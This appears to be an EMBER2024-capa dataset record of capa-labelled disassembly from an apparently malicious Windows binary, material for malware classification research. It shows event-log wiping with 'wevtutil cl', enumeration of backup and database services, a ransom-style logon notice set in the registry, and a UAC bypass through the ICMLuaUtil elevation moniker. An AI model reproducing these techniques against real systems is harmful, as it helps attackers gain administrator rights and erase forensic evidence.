joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46e500
Capabilities:
Accept command line arguments
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.0052f5a0
mov eax, dword [0x5eaea4]
xor eax, esp
mov dword [esp + 0x1068], eax
push ebx
push esi
push edi
mov word [esp + 0x12], dx
lea eax, [esp + 0x870]
mov edi, ecx
mov esi, 0x800
mov byte [eax], 0
lea eax, [eax + 1]
sub esi, 1
jne 0x46e534
mov ecx, 0x800
lea eax, [esp + 0x70]
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x46e550
mov ecx, 0x44
lea eax, [esp + 0x28]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x46e564
mov ecx, 0x10
lea eax, [esp + 0x14]
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x46e580
push edi
lea eax, [esp + 0x874]
mov word [esp + 0x5c], dx
push eax
mov dword [esp + 0x30], 0x44
mov dword [esp + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x24]
xor bl, bl
push eax
push edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
test esi, esi
je 0x46e5fa
push dword [esi]
lea eax, [esp + 0x74]
push 0x400
push eax
call fcn.00552436
add esp, 0xc
lea eax, [esp + 0x70]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
cmp word [esp + 0x70], 0
mov eax, 1
movzx ebx, bl
push esi
cmovne ebx, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [esp + 0x14]
xor ecx, ecx
push eax
lea eax, [esp + 0x2c]
test bl, bl
push eax
lea eax, [esp + 0x78]
cmove eax, ecx
push eax
push ecx
xor eax, eax
mov ecx, 0x8000000
cmp word [esp + 0x22], ax
cmove eax, ecx
push eax
push 0
push 0
push 0
lea eax, [esp + 0x890]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edi, dword [esp + 0x1c]
test eax, eax
je 0x46e691
push edi
lea eax, [esp + 0x874]
push eax
push str.___Success_run:__s__pid:_i_
call fcn.00463390
add esp, 0xc
cmp byte [ebp + 8], 0
je 0x46e668
push dword [ebp + 0xc]
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x14]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1068]
xor ecx, esp
call fcn.0052ebb7
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [esp + 0x874]
push eax
push str.___Failed_to_run:__s__Code__lu.
call fcn.00463390
mov ecx, dword [esp + 0x1080]
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0052ebb7
mov esp, ebp
pop ebp
ret
Function at 0x470080
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x573938
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x5eaea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2c], ecx
push 0xf003f
push 0
push 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
mov dword [ebp - 0x24], ebx
test ebx, ebx
je 0x470286
mov edi, dword [sym.imp.ADVAPI32.dll_EnumServicesStatusW]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 3
push 0x30
push ebx
call edi
test eax, eax
jne 0x47027f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x47027f
mov esi, dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x20], eax
push ecx
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x14]
push ecx
push dword [ebp - 0x14]
push eax
push 3
push 0x30
push ebx
call edi
test eax, eax
mov eax, dword [ebp - 0x20]
je 0x47026f
mov esi, eax
test eax, eax
je 0x47026f
xor ebx, ebx
cmp dword [ebp - 0x18], ebx
jbe 0x47026c
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIW]
nop dword [eax + eax]
push 0x5ddacc
push dword [esi]
call edi
test eax, eax
jne 0x4701c5
push str.backup
push dword [esi]
call edi
test eax, eax
jne 0x4701c5
push str.database
push dword [esi]
call edi
test eax, eax
jne 0x4701c5
push 0x5ddacc
push dword [esi + 4]
call edi
test eax, eax
jne 0x4701c5
push str.backup
push dword [esi + 4]
call edi
test eax, eax
jne 0x4701c5
push str.database
push dword [esi + 4]
call edi
test eax, eax
je 0x47025c
mov edx, dword [esi]
xor eax, eax
mov word [ebp - 0x44], ax
mov eax, edx
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
lea ecx, [eax + 2]
mov dword [ebp - 0x28], ecx
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4701e3
sub eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x44]
sar eax, 1
push eax
push edx
call fcn.0044a8b0
mov ecx, dword [ebp - 0x2c]
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 4], 0
call fcn.00458c60
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x30]
cmp edx, 8
jb 0x47024d
mov ecx, dword [ebp - 0x44]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x470243
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4702a2
push edx
push ecx
call fcn.0052edf8
add esp, 8
push dword [esi]
push str.___Added_service:__s
call fcn.00463390
add esp, 8
inc ebx
add esi, 0x24
cmp ebx, dword [ebp - 0x18]
jb 0x470170
mov eax, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0052ebb7
mov esp, ebp
pop ebp
ret
call fcn.0054a8a1
int3
Function at 0x474200
Capabilities:
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x573db0
mov eax, dword fs:[0]
push eax
mov eax, dword [0x5eaea4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x5f17c2], 0
je 0x474285
call dword [sym.imp.Everything32.dll_Everything_DeleteRunHistory]
call dword [sym.imp.Everything32.dll_Everything_Exit]
call dword [sym.imp.Everything32.dll_Everything_CleanUp]
push 0x2710
push 0
xor edx, edx
mov dword [ebp - 4], 0xffffffff
mov ecx, str.wevtutil.exe_cl_security
call fcn.0046e500
push 0x2710
push 0
xor edx, edx
mov ecx, str.wevtutil.exe_cl_system
call fcn.0046e500
push 0x2710
push 0
xor edx, edx
mov ecx, str.wevtutil.exe_cl_application
call fcn.0046e500
add esp, 0x18
call fcn.0045b2c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x474a10
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x573e58
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x5eaea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.004742a0
test al, al
je 0x474bb2
mov edi, dword [0x5ebdbc]
xor ebx, ebx
push str.___Search_mask:
mov esi, 0x1f4
call fcn.00463390
add esp, 4
test edi, edi
jle 0x474b30
nop word [eax + eax]
cmp esi, edi
mov dword [ebp - 0x1c], 0
mov eax, edi
mov dword [ebp - 0x18], 7
cmovle eax, esi
mov esi, eax
xor eax, eax
mov word [ebp - 0x2c], ax
mov eax, dword [0x5ebdbc]
cmp eax, ebx
jb 0x474bd5
sub eax, ebx
mov ecx, esi
cmp eax, esi
cmovb ecx, eax
cmp dword [0x5ebdc0], 8
mov eax, 0x5ebdac
cmovae eax, dword [0x5ebdac]
push ecx
lea ecx, [ebp - 0x2c]
lea eax, [eax + ebx*2]
push eax
call fcn.0044a8b0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
cmovae eax, dword [ebp - 0x2c]
push eax
push 0x5d8e20
call fcn.00463390
mov dword [ebp - 4], 0xffffffff
add esp, 8
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x474b24
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x474b1a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x474bd0
push edx
push ecx
call fcn.0052edf8
add esp, 8
sub edi, esi
add ebx, esi
test edi, edi
jg 0x474a70
push 0
push 0
push 0
push 0x474940
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x474b9e
push 0xea60
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x474b7b
call dword [sym.imp.Everything32.dll_Everything_GetLastError]
push eax
push str.____Timeout_waiting_Everything_SetSearch._LastError___lu.
call fcn.00463390
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x474bb2
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 0x14], 1
push esi
je 0x474b73
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x474bb4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Failed_to_create_thread__Everything_SetSearch_._LastError___lu.
call fcn.00463390
add esp, 8
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0052ebb7
mov esp, ebp
pop ebp
ret
call fcn.0054a8a1
call fcn.0044ac50
int3
Function at 0x475920
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x573f18
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x5eaea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x5f17c2], 0
je 0x475a9b
call fcn.00455e80
mov ecx, eax
cmp dword [eax + 0x14], 0x10
jb 0x475967
mov ecx, dword [eax]
mov edi, dword [eax + 0x10]
add edi, ecx
call fcn.00455e80
mov esi, eax
cmp dword [esi + 0x14], 0x10
jb 0x47597b
mov esi, dword [esi]
xor eax, eax
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
lea ecx, [ebp - 0x28]
mov eax, edi
mov dword [ebp - 0x14], 7
sub eax, esi
push eax
call fcn.0044bc20
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x28]
push edi
push esi
call fcn.0044bdb0
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x18]
push 0
lea ebx, [eax + eax]
lea eax, [ebp - 0x2c]
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMICROSOFTWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x475a09
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push ebx
cmovae eax, dword [ebp - 0x28]
push eax
push 1
push 0
push str.legalnoticetext
push dword [ebp - 0x2c]
call esi
push dword [ebp - 0x2c]
call edi
push 1
push 0x5d80e4
lea ecx, [ebp - 0x28]
call fcn.0044a8b0
mov eax, dword [ebp - 0x18]
push 0
lea ebx, [eax + eax]
lea eax, [ebp - 0x2c]
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMICROSOFTWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x475a65
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push ebx
cmovae eax, dword [ebp - 0x28]
push eax
push 1
push 0
push str.legalnoticecaption
push dword [ebp - 0x2c]
call esi
push dword [ebp - 0x2c]
call edi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x475a9b
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x475a91
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x475ab7
push edx
push ecx
call fcn.0052edf8
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0052ebb7
mov esp, ebp
pop ebp
ret
call fcn.0054a8a1
int3
Function at 0x477be0
Capabilities:
Bypass uac via icmluautil
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x85c
mov eax, dword [0x5eaea4]
xor eax, esp
mov dword [esp + 0x858], eax
push ebx
push esi
push edi
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 4
push eax
lea eax, [esp + 0x1c]
mov edi, edx
push eax
push 0
push 0x10010
push str.ConsentPromptBehaviorAdmin
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
cmp dword [esp + 0x18], 2
jne 0x477c5a
push str.____Abort_elevation__Max_UAC_level_
call fcn.00463390
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x858]
xor ecx, esp
call fcn.0052ebb7
mov esp, ebp
pop ebp
ret
push esi
lea eax, [esp + 0x24c]
push 0x104
push eax
call fcn.00552436
add esp, 0xc
lea eax, [esp + 0x248]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push esi
lea eax, [esp + 0x65c]
push 0x104
push eax
call fcn.00552436
add esp, 0xc
lea eax, [esp + 0x450]
push edi
push 0x104
push eax
call fcn.00552436
add esp, 0xc
xor esi, esi
call fcn.00477940
test eax, eax
je 0x477d92
push 2
push esi
mov edi, 0xc0000022
call dword [sym.imp.ole32.dll_CoInitializeEx]
mov ebx, eax
mov dword [esp + 0x10], esi
mov ecx, 0x24
lea eax, [esp + 0x1c]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x477cd6
push str.Elevation:Administrator_new:
lea eax, [esp + 0x44]
mov dword [esp + 0x20], 0x24
push 0x104
push eax
mov dword [esp + 0x3c], 4
call fcn.00552436
add esp, 0xc
lea eax, [esp + 0x40]
push str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
push 0x104
push eax
call fcn.00552ab0
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push 0x5df1c8
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov esi, dword [esp + 0x10]
test eax, eax
jne 0x477d70
test esi, esi
je 0x477d7c
mov eax, dword [esi]
lea ecx, [esp + 0x248]
push 5
push 0
push ecx
mov eax, dword [eax + 0x24]
lea ecx, [esp + 0x45c]
push ecx
lea ecx, [esp + 0x668]
push ecx
push esi
call eax
xor ecx, ecx
test eax, eax
cmovns edi, ecx
test esi, esi
je 0x477d7c
mov eax, dword [esi]
push esi
mov eax, dword [eax + 8]
call eax
test ebx, ebx
jne 0x477d86
call dword [sym.imp.ole32.dll_CoUninitialize]
xor esi, esi
mov eax, 1
test edi, edi
cmove esi, eax
mov ecx, dword [esp + 0x864]
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0052ebb7
mov esp, ebp
pop ebp
ret
Function at 0x490760
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov eax, 4
call fcn.0052f5a0
push edi
mov edi, dword [esp + 0xc]
xor eax, eax
mov dword [esp + 4], eax
test edi, edi
je 0x4907e0
mov cl, byte [edi]
test cl, cl
je 0x4907e0
push ebx
push esi
mov ebx, 0x100
nop word [eax + eax]
movd xmm1, dword [esp + 0xc]
lea edi, [edi + 1]
movsx esi, cl
mov edx, 0x20
or esi, ebx
add ebx, 0x100
mov ecx, esi
shr ecx, 2
xor ecx, esi
imul esi, esi
and ecx, 0xf
sub edx, ecx
shl eax, cl
mov cl, byte [edi]
movd xmm0, edx
psrlq xmm1, xmm0
movd edx, xmm1
or eax, edx
xor eax, esi
mov dword [esp + 0xc], eax
test cl, cl
jne 0x490790
mov ecx, eax
pop esi
shr ecx, 0x10
pop ebx
xor eax, ecx
pop edi
pop ecx
ret
xor eax, eax
pop edi
pop ecx
ret

Function at 0x490880
Capabilities:
Encode data using xor

Disassembly:
mov eax, 4
call fcn.0052f5a0
push ebx
mov ebx, dword [esp + 0xc]
push esi
xor esi, esi
mov dword [esp + 8], esi
test ebx, ebx
je 0x490903
mov al, byte [ebx]
test al, al
je 0x490903
push ebp
push edi
mov ebp, 0x100
movsx eax, al
push eax
call fcn.0048fa60
movd xmm1, dword [esp + 0x14]
lea ebx, [ebx + 1]
mov edi, eax
mov edx, 0x20
or edi, ebp
add esp, 4
mov ecx, edi
add ebp, 0x100
shr ecx, 2
xor ecx, edi
imul edi, edi
and ecx, 0xf
sub edx, ecx
shl esi, cl
movd xmm0, edx
psrlq xmm1, xmm0
movd eax, xmm1
or esi, eax
mov al, byte [ebx]
xor esi, edi
mov dword [esp + 0x10], esi
test al, al
jne 0x4908a7
mov eax, esi
pop edi
shr eax, 0x10
pop ebp
xor eax, esi
pop esi
pop ebx
pop ecx
ret
pop esi
xor eax, eax
pop ebx
pop ecx
ret
Function at 0x506440
Capabilities:
Encode data using xor

Disassembly:
cmp dword [esp + 0x18], 0
je 0x506454
mov dword [esp + 0x18], fcn.00504c20
jmp fcn.004fe1b0
mov dword [esp + 0x18], fcn.00503ec0
jmp fcn.004fdeb0

Function at 0x530f16
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x5548c0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0052f5a0
mov eax, dword [0x5eaea4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.005543f8
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x554902
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x554a5e
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00570bc0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x5f1218]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0056243f
mov ecx, dword [esi*4 + 0x5f1218]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x554a57
cmp eax, dword [edi + ecx + 0x24]
jne 0x554a57
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x554a57
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0056243f
add esp, 0x14
test edx, edx
jl 0x554a57
jg 0x5549cd
test eax, eax
jb 0x554a57
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x554a57
jl 0x5549e7
cmp dword [ebp - 0x1008], eax
ja 0x554a57
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x554a05
test ebx, ebx
je 0x554a3e
cmp ecx, edi
jae 0x554a3e
mov al, byte [ecx]
cmp al, 0xd
jne 0x554a1f
lea eax, [edi - 1]
cmp ecx, eax
jae 0x554a2b
cmp byte [ecx + 1], 0xa
jne 0x554a2b
inc ecx
jmp 0x554a2b
movzx eax, al
movsx eax, byte [eax + 0x5eb1e8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x554a05
cmp edx, ebx
jne 0x554a05
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x554a5c
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0052ebb7
leave
ret
Function at 0x5556aa
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x5eaea4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push 0x5ce434
push esi
call fcn.005650dd
pop ecx
pop ecx
test eax, eax
jne 0x5556d8
xor al, al
jmp 0x555755
push ebx
lea eax, [ebp - 0x210]
xor ebx, ebx
push eax
push 0x104
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], ebx
push esi
push eax
call fcn.005553ed
mov edx, eax
add esp, 0x10
test edx, edx
jne 0x555712
push dword [ebp - 0x210]
call fcn.0054a56a
xor al, al
jmp 0x555753
mov ecx, edx
push edi
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x555718
sub ecx, edi
sar ecx, 1
pop edi
cmp ecx, 3
je 0x555738
push edx
call fcn.005555e0
pop ecx
test al, al
je 0x555703
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x555746
mov bl, 1
push dword [ebp - 0x210]
call fcn.0054a56a
mov al, bl
pop ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0052ebb7
leave
ret
Function at 0x560de5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00560a80

Function at 0x560df0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00560c0f

Function at 0x5612cc
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x5d0748
push 0x5d0740
push str.FlsAlloc
push 0x1e
call fcn.005610f9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x561300
push dword [ebp + 8]
mov ecx, esi
call dword [0x5775b8]
call esi
jmp 0x561306
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x56134a
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x5d0758
push 0x5d0750
push str.FlsGetValue
push 0x20
call fcn.005610f9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x561381
push dword [ebp + 8]
mov ecx, esi
call dword [0x5775b8]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x5618f7
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x5f1218]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x561937
cmp byte [ebx], 0xa
jne 0x561937
or byte [eax + edi + 0x28], 4
jmp 0x56193c
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x561a3a
mov al, byte [edx]
cmp al, 0x1a
je 0x561a1c
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x56196b
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x561990
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x56199a
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x56194d
jmp 0x561a3a
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x561a17
cmp dword [ebp - 0xc], 0
je 0x561a17
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x5f1218]
test byte [eax + edi + 0x28], 0x48
je 0x5619f1
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x5619dc
mov byte [esi], dl
jmp 0x5619ed
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x5f1218]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x561a3a
cmp byte [ebp - 1], 0xa
jne 0x561a00
cmp esi, ebx
jne 0x561a00
mov byte [esi], 0xa
jmp 0x561a39
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0056245d
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x561a3a
mov byte [esi], 0xd
jmp 0x561a39
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x5f1218]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x561a36
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x561a3a
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret